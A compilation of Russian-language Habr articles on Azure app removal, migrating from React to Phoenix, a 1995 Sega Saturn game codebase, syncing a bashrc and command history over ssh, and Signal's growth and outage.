Cloud9 является лишь средой разработки и не позволяет напрямую остановить или удалить приложение, развернутое в Windows Azure. Чтобы удалить приложение из Windows Azure, выполните следующие действия:
В диалоговом окне развертывания щелкните ссылку **Open portal**, чтобы перейти в Портал управления Windows Azure.
![clip_image038[1]](https://habrastorage.org/getpro/habr/post_images/6f2/77a/dba/6f277adbad973f752bd19e703959d389.gif "clip_image038[1]")
Выполните вход с помощью своих учетных данных. В левой части веб-страницы выберите **Hosted****Services****,** **Storage****Accounts** **&** **CDN** и нажмите **Hosted****Services**.
Выберите тестовую среду (см. значение поля **Environment**). Для удаления приложения нажмите **Delete** на ленте.
Аналогичным образом для удаления приложения выберите рабочую среду и нажмите **Delete**.
### Дополнительные ресурсы
* [Документация по Cloud9](http://go.microsoft.com/fwlink/?LinkId=241421&clcid=0x409) | https://habr.com/ru/post/150622/ | null | ru | null |
# Как Phoenix убивает React
Около полутора лет назад мы написали внутренний инструмент для корпоративных анонсов. Изначально в нём использовался Phoenix для бэкенда и React для фронтенда. Тем самым мы получали преимущества Redux и каналов Phoenix при доставки обновлений в браузер в реальном времени.
Это позволило получить великолепный живой интерфейс, но снизило скорость разработки и стало причиной малого количества участвующих в процессе разработчиков. Около трёх месяцев назад мы приняли решение выкинуть React и вернуться к серверному рендерингу.
Почему мы решили заменить React
-------------------------------
Обновление в реальном времени позволяет лучше погрузиться в работу с приложением, но при этом имеет дополнительные издержки.
### Стоимость разработки
Вместо того, чтобы добавлять новую возможность в одном месте, нам нужно было заниматься ей и в части API, и в части UI. Это также означало, что каждый разработчик, желающий добавить свой вклад в проект должен знать *и React, и Phoenix*, что отбивало у них охоту попробовать включиться в работу.
### Тестирование
Другим больным местом при работе с кодом React было тестирование. Так как приложение и клиент были разделены, нужно было быть уверенными, что ответы нашей тестовой имитации сервера всегда актуальны. На практике это не было серьёзной проблемой, но несколько раз всё же вставило палки в колёса, уменьшив наше доверие тестам.
### Внесение вклада в проект
Наконец, мы хотели, чтобы больше людей могло принимать участие в работе над проектом. Мы обнаружили, что реализация функционала в двух местах намного трудозатратнее по сравнению с работой в единственном месте. А пытаться координировать бэкенд- и фронтенд-разработчиков довольно утомительно. Это особенно важно, поскольку работа над этим приложением происходит в наше «время для развития».
Процесс замены
--------------
Благодаря тому, что у нас уже был готовый к использованию API, мы смогли переписать страницы на Phoenix и развернуться на продакшене, не затрагивая существующий на React фронтенд. Так как приложение по большей части представляет собой CRUD, большинство страниц были просто перекопированы один-в-один, лишь заменяя `className` на `class` и блоки `{}` на `<%= %>`.
В местах, где нам был нужен JavaScript, мы пошли проторенной дорожкой «вкрапления» кусочков на нём. Лучший пример такого подхода — живое обновление комментариев. Всякий раз, когда комментарий создаётся на бэкенде, мы транслируем его всем пользователям. Вместо того, чтобы отправлять JSON, мы создаём `live-html` канал, через который передаём обновления пользователями в виде HTML. Вот JavaScript код прямиком из приложения:
```
import socket from './socket'
const channel = socket.channel('live-html', {})
channel.join()
.receive('ok', function(resp) { console.log('Joined successfully', resp) })
.receive('error', function(resp) { console.log('Unable to join', resp) })
channel.on('new-comment', payload => {
$(`[data-announcement-id='${payload.announcement_id}'] .comments-list`)
.append(payload.comment_html)
})
```
Это удивительно небольшое количество кода на JavaScript, обеспечивает огромный кусок функциональности нашего приложения. Подобная стратегия генерации HTML на сервере и транслирования его клиентам гораздо проще, чем написание полноценного фронтенд-приложения с такими же возможностями.
Мы также добавили сюда Turbolinks, что сделало обновление страницы очень плавным и позволило нам получать ощущение SPA.
Результаты
----------
Полная миграция была относительно безболезненной. Мы пришли к тому, что за несколько месяцев к проекту присоединилось больше людей, чем за весь год использования фронтенда на React. Тесты стало писать гораздо легче, в то же время они стали гораздо надёжнее. Ведь теперь не нужно боятсья, что тестовые ответы сервера отличаются от настоящих.
Несмотря на то, что многие сотрудники компании знали о происходящей миграции, мы не стали никому говорить, что вылили изменения в продакшен. Ни один человек не упомянул о заметной разнице. Также никто не понял, что используемое ими приложение больше не основано на React. Всё благодаря скорости Phoenix с его значительно меньшим временем отдачи страницы и отсутствию загрузки большого куска данных фронтенд-приложения на React.
Усвоенные уроки
---------------
В конце нашей работы мы поняли и доказали себе, что можем писать приложения на Phoenix с серверным рендерингом, которые будут так же великолепно работать, как и SPA-приложения на отдельном фреймворке. Мало того, что готовый продукт получился таким же классным, так мы ещё и стали быстрее добавлять новые возможности, смогли быть уверенными в тестах и легче привлекать разработчиков для участия в проекте. В общем, я думаю, это была большая победа.
А вы отказывались от каких-либо фронтенд-фреймворков в последнее время?
Заключение от Вуншей
--------------------
Друзья! Следующая статья про создание блога на Фениксе через неделю. Сегодня же мы решили обсудить другую интересную тему, связанную с этим фреймворком.
Напоминаю, что мы проводим [конкурс с классным призом](https://wunsh.ru/first_contest.html?utm_source=habr&utm_medium=content&utm_campaign=first_contest) для победы в котором вам нужно опубликовать классную статью об Эликсире на Хабре. А также призываю вас активнее [подписываться на рассылку](https://wunsh.ru?utm_source=habr&utm_medium=content&utm_campaign=subscribe). Дважды в неделю мы отправляем новые статьи на почту, которых ещё нет в открытом доступе на сайте! Спасибо всем, кто остаётся с нами!
*~~\* Заголовок для активации бурных обсуждений, наполненных радостью и добром, в комментариях.~~* | https://habr.com/ru/post/315666/ | null | ru | null |
# Как в 1995 году писали игры для Sega Saturn
Это документ, написанный мной в 1995 году, когда я работал над первой игрой студии Neversoft: Skeleton Warriors. Это была первая игра, в которой я не использовал язык ассемблера 68K.
Фото сделано примерно в то время. Комплект разработчика (dev kit) («Small Box» и ICE) стоит справа от меня.
Состояние игры
--------------
В представленном ниже документе вкратце описывается состояние кода Skeleton Warriors для Sega Saturn, а также упоминаются некоторые из множества аспектов, которые нужно было ещё сделать.
Документ нужен был, чтобы ускорить Дэну, Кену и Джеймсу знакомство с уже готовым кодом, объяснить им назначение каждого модуля и взаимодействие между ними. Также он позволил мне оценить печальное состояние этого кода, и, надеюсь, заставил меня взяться за ум.
Также я немного рассказываю о встраивании данных (файлы .GOV и .GOB) в программу, и о том, что мы будем делать в будущем.
Оборудование для разработки
---------------------------
Наша целевая платформа — Sega Saturn, имеющая два Risc-микропроцессора SH2 и один 68000. Пока мы используем только основной процессор Master SH2, вспомогательный slave SH2 будет использоваться, когда мы разберёмся, как это сделать. 68000 применяется для управления звуковым чипом, нам не пришлось писать для него код, потому что он будет использовать предоставленную Sega звуковую библиотеку.
Программа почти целиком написана на чистом C. Мы используем компилятор GNU SH2 для получения выходного ассемблера SH2. В коде есть несколько модулей SH2, в которых в основном находятся исключительно данные. Пока я не написал ничего значимого на SH2.
В качестве системы разработки мы пользуемся PsyQ. Это не стандартная система разработки Sega, однако все, кто с ней работал, считают её лучшей. Альтернативой ей является SNASM, созданная принадлежащей Sega студии Cross Products. Основная часть поставляемых Sega примеров кода должна работать в системе разработки SNASM, но легко конвертируется под PsyQ.
Система PsyQ состоит из платы интерфейса SCSI, которая устанавливается в PC, картриджа, вставляемого в Saturn и соединяющего их кабеля. Исходники компилируются на PC и скачиватся на Saturn, где и запускается программа. Код можно отлаживать с PC.
*Система разработки PsyQ*
Связь контролируется резидентной программой (PSYBIOS), обрабатывающей коммуникации между машинами. Это позволяет консоли Saturn загружать файлы с PC почти так же, как она загружала бы их с CD. Мы используем эту функцию для загрузки файлов каждого уровня.
У меня в комнате есть пара больших и громких ящиков, а ещё два PC. Меньший из двух ящиков — это E7000PC, являющийся встроенным эмулятором SH2. Он помогает разобраться, где вылетает программа, если отладчик PsyQ её не остановил. Также он полезен для отслеживания записи в память, но пока я почти не пользовался этой функцией.
Второй из громких ящиков — это нечто под названием «Small Box» (первый «Large Box» был размерами примерно с небольшой холодильник). По сути это Saturn с дополнительными интерфейсами для E7000 и эмулятора CD. На передней панели у него есть переключатели ID стран и переключатель между PAL и NTSC.
Внутри второго компьютера находится эмулятор CD — большая плата, благодаря которой жёсткий диск компьютера притворяется CD-приводом. В нём можно собрать образ CD и эмулировать его в реальном времени, чтобы посмотреть, как будет выглядеть игра, когда доберётся до настоящего CD. Эмулятор более-менее работает, хотя у него есть некоторые проблемы, над решением которых мы сейчас работаем вместе с Sega.
*Dev kit самой компании Sega*
Компилирование и компоновка
---------------------------
Общая сборка готовой программы управляется одним makefile: MAKEFILE.MAK. Он содержит зависимости и целевые объекты для всего проекта, в том числе компиляцию файлов .GOB и .GOV.
Отдельные модули исходного кода C (файлы .C) компилируются программой CCSH в объектные модули SH2 (.OBJ). Она сначала вызывает препроцессор GNU C под названием CPPSH (находится в C:\GNUSH2\BIN), затем вызывает CC1SH для его выходных данных, чтобы создать ассемблерный код SH2, и, наконец, вызывает ASSH (в C:\PSYQ) для сборки его в готовый объектный формат.
Мы не используем C++, потому что мне сказали, что он создаёт огромные объектные файлы. Однако я не работал с ним, можете поэкспериментировать.
Несколько файлов на языке ассемблера SH2 (с расширением .S) просто собираются при помощи ASMSH напрямую в файлы .OBJ (это не то же самое, что ASSH, а более сложный макроассемблер). В настоящее время они используются только для встраивания данных, и не содержат машинно-зависимого кода.
ОЗУ Saturn, в которое можно загружать код, разделено на два блока по 1МБ. Один начинается по адресу $06000000, а другой — по $00200000. Блок по адресу $00200000 используется исключительно для хранения графики главного персонажа. Код программы записывается по адресу $06010000 (первые $10000 байт используются для системного пространства, стека и тому подобного.)
Код позиционно-зависимый и компилируется так, чтобы выполняться по этому конкретному адресу ($06010000) и никак иначе.
Файлы .OBJ компонуются вместе при помощи программы PSYLINK для создания файла MAIN.CPE — исполняемой программы с небольшим заголовком, который можно скачать в Saturn командой RUN. PSYLINK использует файл TEST.LNK для указания того, какие файлы .OBJ нужно включать и куда их помещать.
Данные
------
Игра разбита на несколько уровней, во многих уровнях используются одинаковые данные, но в основном они для каждого уровня свои. Все данные для каждого уровня собираются в два огромных файла .GOV и .GOB. (в случае шахты это MINE.GOV и MINE.GOB). Файл GOV содержит короткий заголовок, а затем идут все данные, которые должны находиться в видеопамяти. Файл .GOB содержит все данные, которые должны находиться в ОЗУ.
Уровень состоит из части показанных ниже файлов данных.
.SSQ — файл секвенсора спрайтов
.SBM — файл битовой карты, используемый для битовых фонов
.MAP — обе карты для заполняемых символами фонов.
.TIL — тайлсеты и палитры для заполняемых символами фонов.
.PTH — данные точек дороги и триггеров.
.TEX — текстуры для дороги.
Файлы .SSQ и .SBM созданы моим становящимся всё более неудобным секвенсором «SEQ». Файлы .MAP, .TIL, .PTH и .TEX созданы становящимся всё более потрясающим редактором карт «TULE», написанного Дэном.
Эти файлы при помощи ассемблера ASMSH собираются в соответствующие файлы .GOV и .GOB. Чтобы посмотреть, как это делается, см. файлы LEVEL.S и LEVEL1.S. В файл .GOV также включается часть данных конкретного уровня.
Модули
------
**TEST.S** — ничего особенного, задаёт несколько меток.
**MAIN.C** — верхний уровень программы. Содержит инициализацию оборудования, настройку уровней, код прохождения уровней и различные другие мелкие элементы, которые на самом деле стоило бы поместить в более подходящие модули. В нём довольно много мусора, потому что в этот модуль проще всего добавлять что-то новое для быстрого тестирования. Содержит код загрузки с CD или файлового сервера на PC. Содержит флаг для включения и отключения цветных полос TIMING.
**GFXLIB.C** — различные процедуры для доступа к оборудованию и выполнения различных графических функций. Почти все они написаны с нуля Дэном и часто очень неэффективны. Если вы часто используете процедуру отсюда, то неплохо было бы взглянуть, что она делает и написать более быструю версию в своём коде.
Тем не менее, все функции работают и обеспечивают превосходный фреймворк для черновой реализации и тестирования. Поблагодарим Дэна, без него это было бы невозможно.
**SMP\_PAD.C** — различные процедуры для считывания с джойстика Saturn, очень зависимые от оборудования.
**GLOBALS.C** — все глобальные переменные и несколько общих функций. Использование глобальных переменных — приемлемая практика программирования. Однако по различным причинам реализация глобальных переменных в SH2 довольно медленная, поэтому со временем я возможно преобразую часть в глобальные структуры, если понадобится. Содержит переменные, описывающие состояние **MAN** и **PATH**.
**MAN.C** — обрабатывает движение и отображение человека (Prince Lightstar, Talyn, Guardian или Grimskull — персонажа, которым управляет игрок). Пока это в основном логика движения и коллизий с дорогой. Кроме того, он обеспечивает соответствующую анимацию для каждого действия. Тут ещё нужно сделать много работы.
**OB.C** — обрабатывает движение и отображение объектов в игре, в особенности объектов врагов, например, воинов-скелетов и маленьких инопланетян. Здесь программируется основная часть геймплея: вражеский ИИ, основные движения и срабатывание триггеров. Структура данных готова ещё не полностью, в частности, не совсем проработаны проблемы с коллизиями и анимацией. Предстоит ещё куча работы.
**DATA.S** — различные таблицы, в настоящее время в основном анимации основных персонажей игрока.
**LAYER.C** — скроллинг фонов с параллаксом. Обновляет состоящие из символов фоны и скроллит битовые карты. Также выполняет скроллинг линий (эффект волн) в слое тумана. Пока таблицы для слоёв карт символов хранятся без сжатия. Их нужно сжать в формат RLE, который я использовал для версии на Genesis. Эта задача может перейти к Кену, если мы получим систему разработки под Saturn раньше, чем для Sony.
**PAL.C** — палитра. Можно выбирать из 2048 цветов. Любой пиксель на экране может быть одного из этих цветов. Я логичным образом разделил палитру на восемь палитр по 256 цветов. В PAL.C содержится код для их инициализации, подготовки и код для их циклической смены. Также им понадобится затемнение и более сложная циклическая смена, а также вспышки яркости и т.д.
**BUL.C** — примитивная система для обработки снарядов (бросок меча, удар рукой, выстреливаемые из рук ракеты и т.д.) как отдельных объектов. По-прежнему требуется довольно много работы для более сложного использования снарядов. Также нужен правильный код коллизий и анимаций.
**PAD.C** — простой модуль для запоминания состояния джойстика в более удобном формате. Запоминает, была ли недавно нажата кнопка, и нажата ли она сейчас.
**START.C** — одна строка, сообщающая, какой уровень будет первым, для простоты его смены в командном файле.
**PANEL.C** — простые процедуры для вывода полоски силы.
**PATH.C** — чудовищные процедуры для отрисовки дороги, а также обработки коллизий с дорогой.
**MATH.C** — простые синус, косинус и поворот точки на угол.
[Обновление] Вот пример кода из MAN.C. Всё жёстко прописано в коде и ссылается на глобальную структуру данных Man. Куча прописанных в коде чисел.
```
/**************************************************************/
/* Trigger jumping if needed, also variable height jump logic */
Man_JumpTrigger()
{
if ( Man.JumpFudge )
{
Man.JumpFudge--;
}
if ( Man.Mode != M_Crouch || Man_StandingRoom() ) // ok if not crouched, or there is headroom
{
if (Pad_Jump->Pressed) /* jump button pressed */
{
if ((Man.Contact || (Man.Mode == M_Hang) || Man.JumpFudge) && Pad_Jump->Triggered && !Man.Blocking) /* and not already jumping */
{
if (Man.Mode == M_Hang && Pad1.Down.Pressed)
{
Man.Contact=0;
Man.Mode=M_Jump;
Man.AnimBase = LS_Jumping; /* Change base anim to jumping */
Man_TriggerSeq(LS_Jump); /* start the jumping start anim */
Man.YV.f = 0x10000; /* and have no YV */
Man.Y.i += 4; /* and have no YV */
}
else
{
Pad_Jump->Triggered = 0;
if ( !JetPacCheat )
Man.YV.f = -0x00080000; /* Initial jump speed */
else
Man.YV.f = -0x00008000; // Initial speed in Jetpac mode
Man.Contact = 0; /* not on the ground any more */
Man.JumpTime = 0; /* just started jumping */
Man.AnimBase = LS_Jumping; /* Change base anim to jumping */
Man_TriggerSeq(LS_Jump); /* start the jumping start anim */
Man.XV.f+=Man.FlyVel;
if (Man.HangEnd && Man.Mode == M_Hang) // if hanging
{ // and on the end of a path
Man.HangEnd = 0;
Man.X.i += 12*Man.Facing; // the move past end of path
Man.JumpTime = -3; // bit more fixed v jump time
}
Man.Mode = M_Jump; /* change mode to jumping */
}
}
else /* Already jumping */
{
if (Man.JumpTime++ < MaxJumpTime) /* Still in initial jump period */
Man.YV.f -= 0x0005000; /* So can maintain jump YV */
}
}
else /* jump button not pressed */
{
Man.JumpTime = MaxJumpTime+1; /* so can't alter YV again until landed */
}
}
}
```
OB.C разросся до чудовищного файла из 9000 строк, в которые включены все паттерны поведений отдельных объектов в игре. Также там есть огромное количество прописанных в коде чисел, например таких:
```
Drop_Arac(S_Ob *pOb)
{
int t;
if (pOb->Jump==1)
{
pOb->yv.f+=0x7fff;
pOb->y.f+=pOb->yv.f;
t=Path_GetYZ(pOb->x.i,pOb->y.i,pOb)-15;
if ((t>pOb->y.i)&&(ty.i+20))
{
pOb->Jump=0;
pOb->y.i+=15;
Turn\_Around(pOb);
pOb->SeqFile=Sprites[SpriteMap[34]];
Object\_TriggerSeq(Arac\_JumpLand,pOb);
}
}
else
{
if (pOb->Frame==16)
pOb->Jump=1;
if (pOb->AnimStat==AnimDone)
{
pOb->t1=0;
pOb->Mode=&Pattern\_Arac;
}
}
Command\_Arac(pOb);
}
```
Неприятное зрелище. Такой стиль кода пришёл из времён, когда игры были очень маленькими и наработал я его при работе с 68K.
 | https://habr.com/ru/post/459622/ | null | ru | null |
# Использование локального .bashrc через ssh и консолидация истории выполнения команд
Если вам приходится работать с большим количеством удаленных машин через ssh то возникает вопрос как унифицировать shell окружение на этих машинах. Копировать заранее .bashrc не очень удобно, а зачастую невозможно. Давайте рассмотрим вариант копирования непосредственно в процессе соединения:
```
[ -z "$PS1" ] && return
sshb() {
scp ~/.bashrc ${1}:
ssh $1
}
# the rest of the .bashrc
alias c=cat
...
```
Это очень наивный способ с несколькими очевидными недостатками:
* Можно затереть уже существующий .bashrc
* Вместо одного соединения мы устанавливаем 2
* Как следствие авторизоваться придется тоже 2 раза
* Аргумент функции может быть только адресом удаленной машины
Улучшенный вариант:
```
[ -z "$PS1" ] && return
sshb() {
local ssh="ssh -S ~/.ssh/control-socket-$(tr -cd '[:alnum:]' < /dev/urandom|head -c8)"
$ssh -fNM "$@"
$ssh placeholder "cat >~/.bash-ssh" <~/.bashrc
$ssh "$@" -t "bash --rcfile ~/.bash-ssh -i"
$ssh placeholder -O exit >/dev/null 2>&1
}
# the rest of the .bashrc
alias c=cat
...
```
Теперь мы используем только одно соединение за счет мультиплексирования. .bashrc копируется в файл, который не используется bash по умолчанию и мы явно указываем его через опцию --rcfile. Аргументом функции может быть не только адрес удаленной машины, но и другие опции ssh.
На этом в принципе можно было бы и остановиться, но полученное решение обладает неприятным недостатком. Если вы запустите screen или tmux, то будет использоваться тот .bashrc, который находится на удаленной машине и все ваши алиасы и функции потеряются. К счастью это можно побороть. Для этого надо создать скрипт-обертку, который мы объявим нашим новым шеллом. Давайте для простоты предположим, что скрипт-обертка на удаленной машине у нас уже есть и находится в ~/bin/bash-ssh. Выглядит скрипт вот так::
```
#!/bin/bash
exec /bin/bash --rcfile ~/.bash-ssh “$@”
```
А .bashrc так:
```
[ -n "$SSH_TTY" ] && export SHELL="$HOME/bin/bash-ssh"
[ -z "$PS1" ] && return
sshb() {
local ssh="ssh -S ~/.ssh/control-socket-$(tr -cd '[:alnum:]' < /dev/urandom|head -c8)"
$ssh -fNM "$@"
$ssh placeholder "cat >~/.bash-ssh" <~/.bashrc
$ssh "$@" -t "bash --rcfile ~/.bash-ssh -i"
$ssh placeholder -O exit >/dev/null 2>&1
}
# the rest of the .bashrc
alias c=cat
...
```
Если существует переменная SSH\_TTY мы понимаем, что находимся на удаленной машине и переопределяем переменную SHELL. С этого момента при запуске нового интерактивного шелла будет запускаться скрипт, который будет стартовать bash с нестандартным конфигом, сохраненный при установлении ssh сессии.
Для получения удобного рабочего решения осталось придумать как создавать на удаленной машине скрипт-обертку. В принципе можно создавать его в сохраняемом нами конфиге баша вот так:
```
[ -n "$SSH_TTY" ] && {
mkdir -p "$HOME/bin"
export SHELL="$HOME/bin/bash-ssh"
echo -e '#!/bin/bash\nexec /bin/bash --rcfile ~/.bash-ssh "$@"' >$SHELL
chmod +x $SHELL
}
```
Но на самом деле можно обойтись единственным файлом ~/.bash-ssh:
```
#!/bin/bash
[ -n "$SSH_TTY" ] && [ "${BASH_SOURCE[0]}" == "${0}" ] && exec bash --rcfile "$SHELL" "$@"
[ -z "$PS1" ] && return
sshb() {
local ssh="ssh -S ~/.ssh/control-socket-$(tr -cd '[:alnum:]' < /dev/urandom|head -c8)"
$ssh -fNM "$@"
$ssh placeholder "cat >~/.bash-ssh" <~/.bashrc
$ssh "$@" -t 'SHELL=~/.bash-ssh; chmod +x $SHELL; bash --rcfile $SHELL -i'
$ssh placeholder -O exit >/dev/null 2>&1
}
# the rest of the .bashrc
alias c=cat
...
```
Теперь файл ~/.bash-ssh является одновременно и самостоятельным скриптом и конфигом bash. Работает это так. На локальной машине команды после [ -n "$SSH\_TTY" ] игнорируются. На удаленной машине функция sshb создает файл ~/.bash-ssh и использует его как конфиг для запуска интерактивной сессии. Конструкция [ "${BASH\_SOURCE[0]}" == "${0}" ] позволяет определить подгружается файл другим скриптом или запущен как самостоятельный скрипт. В результате, когда ~/.bash-ssh используется
* как конфиг — exec игнорируется
* как скрипт — управление переходит башу и исполнение ~/.bash-ssh заканчивается тем самым exec-ом.
Теперь при коннекте по ssh ваше окружение везде будет выглядеть одинаково. Так работать гораздо удобнее, но история выполнения команд будет оставаться на машинах, с которыми вы соединялись. Лично мне бы хотелось сохранять историю локально, чтобы иметь возможность освежить в памяти, что именно я делал на каких-то машинах в прошлом. Для того, чтобы это сделать нам нужны следующие компоненты:
* Tcp сервер на локальной машине, который бы принимал данные с сокета и перенаправлял их в файл
* Форвард слушающего порта этого сервера на машину, с которой мы коннектимся по ssh
* PROMPT\_COMMAND в установках bash, который бы по завершению команды отправлял обновление истории на отфорварженный порт
Это можно реализовать так:
```
#!/bin/bash
[ -n "$SSH_TTY" ] && [ "${BASH_SOURCE[0]}" == "${0}" ] && exec bash --rcfile "$SHELL" "$@"
[ -z "$PS1" ] && return
[ -z "$SSH_TTY" ] && {
history_port=26574
netstat -lnt|grep -q ":${history_port}\b" || {
umask 077 && nc -kl 127.0.0.1 "$history_port" >>~/.bash_eternal_history &
}
}
HISTSIZE=$((1024 * 1024))
HISTFILESIZE=$HISTSIZE
HISTTIMEFORMAT='%t%F %T%t'
update_eternal_history() {
local histfile_size=$(stat -c %s $HISTFILE)
history -a
((histfile_size == $(stat -c %s $HISTFILE))) && return
local history_line="${USER}\t${HOSTNAME}\t${PWD}\t$(history 1)"
local history_sink=$(readlink ~/.bash-ssh.history 2>/dev/null)
[ -n "$history_sink" ] && echo -e "$history_line" >"$history_sink" 2>/dev/null && return
local old_umask=$(umask)
umask 077
echo -e "$history_line" >> ~/.bash_eternal_history
umask $old_umask
}
[[ "$PROMPT_COMMAND" == *update_eternal_history* ]] || export PROMPT_COMMAND="update_eternal_history;$PROMPT_COMMAND"
sshb() {
local ssh="ssh -S ~/.ssh/control-socket-$(tr -cd '[:alnum:]' < /dev/urandom|head -c8)"
$ssh -fNM "$@"
local bashrc=~/.bashrc
[ -r ~/.bash-ssh ] && bashrc=~/.bash-ssh && history_port=$(basename $(readlink ~/.bash-ssh.history))
local history_remote_port="$($ssh -O forward -R 0:127.0.0.1:$history_port placeholder)"
$ssh placeholder "cat >~/.bash-ssh; ln -nsf /dev/tcp/127.0.0.1/$history_remote_port ~/.bash-ssh.history" < $bashrc
$ssh "$@" -t 'SHELL=~/.bash-ssh; chmod +x $SHELL; bash --rcfile $SHELL -i'
$ssh placeholder -O exit >/dev/null 2>&1
}
# the rest of the .bashrc
alias c=cat
...
```
Блок после [ -z "$SSH\_TTY" ] срабатывает только на локальной машине. Мы проверяем занят ли порт и если нет запускаем на нем netcat, вывод которого перенаправлен в файл.
Функция update\_eternal\_history вызывается непосредственно перед выводом на экран подсказки bash. Эта функция проверяет не была ли последняя команда дубликатом и если нет отправляет ее на отфорварженный порт. Если порт не сконфигурирован (в случае локальной машины) или если при отправке произошла ошибка сохранение идет в локальный файл.
Функция sshb дополнилась установлением форвардинга порта и созданием симлинки, которая будет использоваться update\_eternal\_history для отправки данных на сервер.
Это решение не лишено недостатков:
* Порт для netcat захардкожен, есть шанс нарваться на конфликт
* Форвард порта дает возможность любому человеку со злыми намерениями заспамить вашу историю мусорными данными
* Если вы создаете цепочку соединений (машина А-машина Б-машина В), то данные будут нормально передаваться с В на А, но в случае обрыва соединения между А и Б и установления нового соединения Б будет продолжать форвардить старый порт и данные с В не достигнут А, они будут сохраняться на Б
Мой собственный .bashrc можно посмотреть [тут](https://github.com/kt97679/misc/blob/master/.bashrc).
Если у вас есть идеи как можно улучшить предложенное решение пожалуйста делитесь в комментариях.
Update. На ubuntu 16.04 столкнулся с проблемой: netcat при нескольких соединениях подвисает и занимает 100% cpu. Переключился на socat, предварительное тетстирование показало, что все хорошо. Также добавил логики по управлению симлинкой, определяющей адрес куда отсылается история. Получилось вот так:
```
#!/bin/bash
[ -n "$SSH_TTY" ] && [ "${BASH_SOURCE[0]}" == "${0}" ] && exec bash --rcfile "$SHELL" "$@"
[ -z "$PS1" ] && return
[ -z "$SSH_TTY" ] && command -v socat >/dev/null && {
history_port=26574
netstat -lnt|grep -q ":${history_port}\b" || {
umask 077 && socat -u TCP4-LISTEN:$history_port,bind=127.0.0.1,reuseaddr,fork OPEN:$HOME/.bash_eternal_history,creat,append &
}
}
HISTSIZE=$((1024 * 1024))
HISTFILESIZE=$HISTSIZE
HISTTIMEFORMAT='%t%F %T%t'
update_eternal_history() {
local histfile_size=$(stat -c %s $HISTFILE)
history -a
((histfile_size == $(stat -c %s $HISTFILE))) && return
local history_line="${USER}\t${HOSTNAME}\t${PWD}\t$(history 1)"
local history_sink=$(readlink ~/.bash-ssh.history 2>/dev/null)
[ -n "$history_sink" ] && echo -e "$history_line" >"$history_sink" 2>/dev/null && return
local old_umask=$(umask)
umask 077
echo -e "$history_line" >> ~/.bash_eternal_history
umask $old_umask
}
[[ "$PROMPT_COMMAND" == *update_eternal_history* ]] || PROMPT_COMMAND="update_eternal_history;$PROMPT_COMMAND"
sshb() {
local ssh="ssh -S ~/.ssh/control-socket-$(tr -cd '[:alnum:]' < /dev/urandom|head -c8)"
local bashrc=~/.bashrc
local history_command="rm -f ~/.bash-ssh.history"
[ -r ~/.bash-ssh ] && bashrc=~/.bash-ssh && history_port=$(basename $(readlink ~/.bash-ssh.history 2>/dev/null))
$ssh -fNM "$@"
[ -n "$history_port" ] && {
local history_remote_port="$($ssh -O forward -R 0:127.0.0.1:$history_port placeholder)"
history_command="ln -nsf /dev/tcp/127.0.0.1/$history_remote_port ~/.bash-ssh.history"
}
$ssh placeholder "${history_command}; cat >~/.bash-ssh" < $bashrc
$ssh "$@" -t 'SHELL=~/.bash-ssh; chmod +x $SHELL; bash --rcfile $SHELL -i'
$ssh placeholder -O exit >/dev/null 2>&1
}
# the rest of the .bashrc
alias c=cat
...
``` | https://habr.com/ru/post/529544/ | null | ru | null |
# Почему Signal — не идеальный мессенджер. Нам нужна децентрализация
*Федеративная система Matrix поддерживает связь с другими сетями через мосты. Это пример инфраструктуры, к которой нужно стремиться Signal*
4 января 2021 года WhatsApp [внёс изменения](https://www.whatsapp.com/legal/updates/privacy-policy) в пользовательское соглашение. Теперь каждый пользователь **обязан** согласиться на отправку личных данных в материнскую компанию Facebook, иначе его аккаунт WhatsApp просто заблокируют. Эффект от изменений был вполне предсказуем — миллионы человек массово ушли из WhatsApp. Прежде всего, в Telegram и Signal.
Павел Дуров [назвал](https://t.me/durov/148) это «крупнейшей цифровой миграцией в истории»: всего за трое суток у Telegram появилось 25 млн новых пользователей, абсолютный рекорд. Илон Маск в твиттере прокомментировал события просто: [«Используйте Signal»](https://twitter.com/elonmusk/status/1347165127036977153), — написал он. То же самое [советует](https://twitter.com/Snowden/status/1350123606601322496) Эдвард Сноуден. Мессенджер [Signal](https://signal.org/ru/) для многих стал настоящим открытием.
После изменения политики WhatsApp [популярность Signal взлетела на 4200%](https://www.businessinsider.com/whatsapp-facebook-data-signal-download-telegram-encrypted-messaging-2021-1): если говорить по-русски, это значит в 43 раза, а Telegram вышел на второе место по количеству скачиваний в США. В итоге они примерно сравнялись по количеству загрузок: 7,5 млн и 9 млн за первую неделю после той новости от WhatsApp.
*Скачок количества установок Signal в Google Play*
С точки зрения шифрования, приватности и защиты информации [Signal предпочтительнее, чем Telegram](https://habr.com/ru/company/globalsign/blog/536986/). Криптографические протоколы Telegram в старой версии [не выдерживают никакой критики](http://library.usc.edu.ph/ACM/SIGSAC%202017/spsm/p113.pdf), они [просто](https://courses.csail.mit.edu/6.857/2017/project/19.pdf) [ужасны](https://eprint.iacr.org/2015/1177.pdf), а в новой версии протокол до сих пор не прошёл независимый аудит. С другой стороны, у Signal всё в порядке: надёжность и безопасность [подтверждены независимыми экспертами](https://www.pindrop.com/blog/audit-of-signal-protocol-finds-it-secure-and-trustworthy/), код открыт и доступен для проверки всеми желающими.
Таким образом, если пользователи бегут от драконовской политики WhatsApp в области приватности, то логично переходить на более защищённый и приватный мессенджер, то есть на Signal. Это лучшее, что у нас есть.
*Граффити, сделанное во время массовых протестов в Калифорнии в 2017 году. Фото: Elijah Nouvelage, Getty Images*
Как клиенты заддосили собственный сервер
========================================
К сожалению, инфраструктура Signal не справилась с наплывом миллионов новых людей. Причём случилось довольно забавно: клиентское программное обеспечение Signal фактически [заддосило собственный сервер](https://twitter.com/NovakDaniel/status/1350471722034745348).
В коде клиента под Android была ошибка по обработке таймаута. С наплывом десятков миллионов новых пользователей серверы начали иногда возвращать ошибку HTTP 508, но клиент не обрабатывал эту ошибку должным образом. Он снова и снова повторял попытки. Хотя в алгоритме и реализована [экспоненциальная выдержка](https://en.wikipedia.org/wiki/Exponential_backoff), но не был предусмотрен вариант, когда сервер *специально* отказывает клиенту в соединении. При этом экспоненциальная выдержка работала без джиттера (элемента случайности).
В итоге получилось так, что все начинали стучаться к серверу одновременно — и не было никакой возможности отключить эти «волны» DDoS'а.
*Примечание. Строго говоря, здесь не совсем DDoS. В компьютерной науке для данной проблемы существует специальный термин [thundering herd problem](https://en.wikipedia.org/wiki/Thundering_herd_problem). Это можно перевести как «проблема грохочущего стада» — имеется в виду стадо, которое начинает орать одновременно.*
